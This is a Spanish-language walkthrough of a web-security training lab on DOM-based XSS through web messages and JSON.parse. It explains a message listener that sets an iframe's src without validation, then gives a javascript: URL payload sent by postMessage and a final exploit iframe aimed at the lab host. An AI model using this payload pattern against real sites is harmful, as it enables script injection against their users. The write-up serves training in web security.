DOM XSS using web messages and JSON.parse


c
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>Entendamos mejor el código:
c
var iframe = document.createElement('iframe');
ACMEplayer = {element: iframe};
document.body.appendChild(iframe);- Crea un iframe invisible
- Lo agrega al cuerpo del documento
- Crea un objeto
ACMEplayerpara controlarlo
Procesamiento de mensajes:
c
try {
d = JSON.parse(e.data); // Convierte el mensaje a JSON
} catch(e) {
return; // Si no es JSON válido, ignora
}Tipos de comandos aceptados:
- Caso A: "page-load": Hace scroll hasta el iframe
c
case "page-load":
ACMEplayer.element.scrollIntoView();
break;- Caso B: "load-channel": Cambia la URL del iframe sin ninguna validación
c
case "load-channel":
ACMEplayer.element.src = d.url; // ¡Sin validación!
break;- Caso C: "player-height-changed": Cambia el tamaño del iframe
c
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;En esta parte del código podemos inyectar código arbitrario, debido a que no hace una validación:
c
ACMEplayer.element.src = d.url; // Sin validaciónEjemplo de solicitud:
c
window.postMessage(JSON.stringify({
type: "load-channel",
url: "javascript:alert('XSS')"
}), '*');Usando esto, podemos explotar
c
<style>
iframe {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
border: none;
margin: 0;
padding: 0;
z-index: 9999;
background: white;
}
</style>
<iframe src=https://0a0c00ee04a055b78157b196000b00f6.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>